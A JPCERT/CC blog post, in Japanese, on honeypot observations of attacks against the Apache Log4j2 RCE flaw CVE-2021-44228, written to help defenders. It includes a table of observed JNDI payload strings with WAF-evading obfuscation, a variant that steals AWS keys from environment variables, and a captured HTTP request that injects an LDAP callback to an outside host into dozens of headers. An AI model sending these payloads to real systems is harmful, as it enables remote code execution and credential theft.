Apache Log4j2のRCE脆弱性(CVE-2021-44228)を狙う攻撃観測

Javaを用いたシステムで広く採用されているログ処理用ライブラリApache Log4j2において発見された、リモートコード実行の脆弱性(CVE-2021-44228)について、JPCERT/CCで運用しているWebサーバーを模したハニーポットにおいても多くの攻撃活動を観測しています。

本脆弱性についての詳細や対策については、Apache Software Foundationが公開しているアドバイザリ[1]、および12月11日にJPCERT/CCが公開した注意喚起 [2]を参照してください。

観測状況

本脆弱性がSNSで広く拡散された12月10日以降JPCERT/CCのハニーポットで観測された、本脆弱性を狙う通信の推移は以下のとおりです。

表1:観測数の推移
日付 観測数 送信元IPアドレス数
12/10 10 4
12/11 46 27
12/12 79 32
12/13 44 29
12/14 59 33
12/15 72 42
12/16 83 37

観測数の推移
図1:観測数の推移

通信の中には、脆弱性の悪用ではなくスキャンを目的としていると考えられるものも含まれますが、アクセス数は今後も増加することが予想されます。

JNDI Lookupを実行させる攻撃文字列

本脆弱性を悪用するための攻撃文字列は ${jndi:<protocol>://<url>} という形式をとります。

基本的な攻撃の流れは以下のようになります。 脆弱なlog4j2が稼働しているシステムに、攻撃者はなんらかの手段を用いて上記の文字列を含むデータを送り、処理させます(Step 1)。この攻撃文字列を処理しようとしたLog4j2は、JNDI Lookup機能により、攻撃文字列に記載されたプロトコルを用いて指定されたURLにアクセスを行い(Step 2)、攻撃者が用意したシリアライズされたJavaコードをダウンロードし(Step 3)、システム内で実行します(Step 4)。

攻撃手順
図2:攻撃手順

JNDI Lookupの悪用に用いられるプロトコルにはいくつかのパターンが見られます。多くの通信はLDAP(Lightweight Directory Access Protocol)プロトコルを用いて通信が行われますが、日を追うにつれ、プロトコルの種類やWAF等の回避を目的とした難読化のパターンは増加する傾向にあります。

JPCERT/CCのハニーポットで観測されている攻撃文字列のパターンは以下のとおりです。なお、ひとつのアクセスにおいて、HTTPヘッダに複数の攻撃文字列を設定している例も散見されるため、総アクセス数よりも攻撃文字列の検出数が多くなっています(HTTPヘッダに複数の攻撃文字列が記載された例をAppendixに掲載しています)。なお、前述のとおり${lower:l}${lower:d}a${lower:p}といったWAF等の回避を目的とした難読化のパターンは以下に掲載されているもの以外にも多数存在していることを確認しています。そのため、WAF等のフィルタリングによる脆弱性の回避には限界があることを認識する必要があり、注意喚起等で示されているようにlog4j2のアップデートまたは該当クラスの除外による回避策を可能な限り実施いただくことを強く推奨します。

表2:検出された攻撃文字列
検出数 攻撃文字列
5860 ${jndi:ldap://
115 ${jndi:dns://
35 ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://
29 ${jndi:${lower:l}${lower:d}a${lower:p}://
24 ${jndi:ldaps://
8 ${jndi:rmi://
5 ${jndi:iiop://
2 ${jndi:${lower:d}n${lower:s}://

また、JPCERT/CCのハニーポットでは観測されていませんが、AWSのアクセスキー情報を環境変数から窃取しようとする以下の攻撃文字列が存在していることも確認しています。

${jndi:ldap://${env:AWS_ACCESS_KEY}.(略)}

被害の確認および対処

log4j2は採用事例が非常に多く、また自身がlog4jをプログラムに取り込んだ覚えがなくとも、使用しているライブラリ内に内包されているケースも多くあるものと考えられます。影響確認においては、自組織で用いられているソフトウェア資産の整理もさることながら、既に不正なアクセスが行われているという想定のもと、システム内に不審なファイル等が配置されていないか、また不審な宛先に対して通信が発生していないか確認し、冷静にシステムのアップデートまた回避策の適用を実施していただきたいと思います。

参考情報

[1] Log4j
Apache Log4j Security Vulnerabilities
https://logging.apache.org/log4j/2.x/security.html

[2] JPCERT/CC
Apache Log4jの任意のコード実行の脆弱性(CVE-2021-44228)に関する注意喚起
https://www.jpcert.or.jp/at/2021/at210050.html

[3] 警察庁 @police
Javaライブラリ「Apache Log4j」の脆弱性(CVE-2021-44228)を標的とした攻撃の観測について
https://www.npa.go.jp/cyberpolice/important/2021/202112141.html

Appendix A

HTTPリクエスト内のURLやヘッダ部に多量の攻撃文字列が含まれる例
(一部文字列をマスク処理しています)

GET /?a=%24%7Bjndi%3Aldap%3A//193.3.19.x%3A53/c%7D HTTP/1.1  
Host: x.x.x.x  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36  
Accept: */*  
Accept-Charset: ${jndi:ldap://193.3.19.x:53/c}  
Accept-Datetime: ${jndi:ldap://193.3.19.x:53/c}  
Accept-Encoding: ${jndi:ldap://193.3.19.x:53/c}  
Accept-Language: ${jndi:ldap://193.3.19.x:53/c}  
Cache-Control: ${jndi:ldap://193.3.19.x:53/c}  
Cookie: ${jndi:ldap://193.3.19.x:53/c}  
Forwarded: ${jndi:ldap://193.3.19.x:53/c}  
Forwarded-For: ${jndi:ldap://193.3.19.x:53/c}  
Forwarded-For-Ip: ${jndi:ldap://193.3.19.x:53/c}  
Forwarded-Proto: ${jndi:ldap://193.3.19.x:53/c}  
From: ${jndi:ldap://193.3.19.x:53/c}  
Max-Forwards: ${jndi:ldap://193.3.19.x:53/c}  
Origin: ${jndi:ldap://193.3.19.x:53/c}  
Pragma: ${jndi:ldap://193.3.19.x:53/c}  
Referer: ${jndi:ldap://193.3.19.x:53/c}  
Te: ${jndi:ldap://193.3.19.x:53/c}  
True-Client-Ip: ${jndi:ldap://193.3.19.x:53/c}  
Upgrade: ${jndi:ldap://193.3.19.x:53/c}  
Via: ${jndi:ldap://193.3.19.x:53/c}  
Warning: ${jndi:ldap://193.3.19.x:53/c}  
X-Api-Version: ${jndi:ldap://193.3.19.x:53/c}  
X-Att-Deviceid: ${jndi:ldap://193.3.19.x:53/c}  
X-Correlation-Id: ${jndi:ldap://193.3.19.x:53/c}  
X-Csrf-Token: ${jndi:ldap://193.3.19.x:53/c}  
X-Csrftoken: ${jndi:ldap://193.3.19.x:53/c}  
X-Do-Not-Track: ${jndi:ldap://193.3.19.x:53/c}  
X-Forward-For: ${jndi:ldap://193.3.19.x:53/c}  
X-Forward-Proto: ${jndi:ldap://193.3.19.x:53/c}  
X-Forwarded: ${jndi:ldap://193.3.19.x:53/c}  
X-Forwarded-By: ${jndi:ldap://193.3.19.x:53/c}  
X-Forwarded-For: ${jndi:ldap://193.3.19.x:53/c}  
X-Forwarded-For-Original: ${jndi:ldap://193.3.19.x:53/c}  
X-Forwarded-Host: ${jndi:ldap://193.3.19.x:53/c}  
X-Forwarded-Port: ${jndi:ldap://193.3.19.x:53/c}  
X-Forwarded-Proto: ${jndi:ldap://193.3.19.x:53/c}  
X-Forwarded-Protocol: ${jndi:ldap://193.3.19.x:53/c}  
X-Forwarded-Scheme: ${jndi:ldap://193.3.19.x:53/c}  
X-Forwarded-Server: ${jndi:ldap://193.3.19.x:53/c}  
X-Forwarded-Ssl: ${jndi:ldap://193.3.19.x:53/c}  
X-Forwarder-For: ${jndi:ldap://193.3.19.x:53/c}  
X-Frame-Options: ${jndi:ldap://193.3.19.x:53/c}  
X-From: ${jndi:ldap://193.3.19.x:53/c}  
X-Geoip-Country: ${jndi:ldap://193.3.19.x:53/c}  
X-Http-Destinationurl: ${jndi:ldap://193.3.19.x:53/c}  
X-Http-Host-Override: ${jndi:ldap://193.3.19.x:53/c}  
X-Http-Method: ${jndi:ldap://193.3.19.x:53/c}  
X-Http-Method-Override: ${jndi:ldap://193.3.19.x:53/c}  
X-Http-Path-Override: ${jndi:ldap://193.3.19.x:53/c}  
X-Https: ${jndi:ldap://193.3.19.x:53/c}  
X-Htx-Agent: ${jndi:ldap://193.3.19.x:53/c}  
X-Hub-Signature: ${jndi:ldap://193.3.19.x:53/c}  
X-If-Unmodified-Since: ${jndi:ldap://193.3.19.x:53/c}  
X-Imbo-Test-Config: ${jndi:ldap://193.3.19.x:53/c}  
X-Insight: ${jndi:ldap://193.3.19.x:53/c}  
X-Ip: ${jndi:ldap://193.3.19.x:53/c}  
X-Ip-Trail: ${jndi:ldap://193.3.19.x:53/c}  
X-Proxyuser-Ip: ${jndi:ldap://193.3.19.x:53/c}  
X-Request-Id: ${jndi:ldap://193.3.19.x:53/c}  
X-Requested-With: ${jndi:ldap://193.3.19.x:53/c}  
X-Uidh: ${jndi:ldap://193.3.19.x:53/c}  
X-Wap-Profile: ${jndi:ldap://193.3.19.x:53/c}  
X-Xsrf-Token: ${jndi:ldap://193.3.19.x:53/c}  

更新履歴
2021.12.23 図2の差し替え

≪ 前へ
トップに戻る
次へ ≫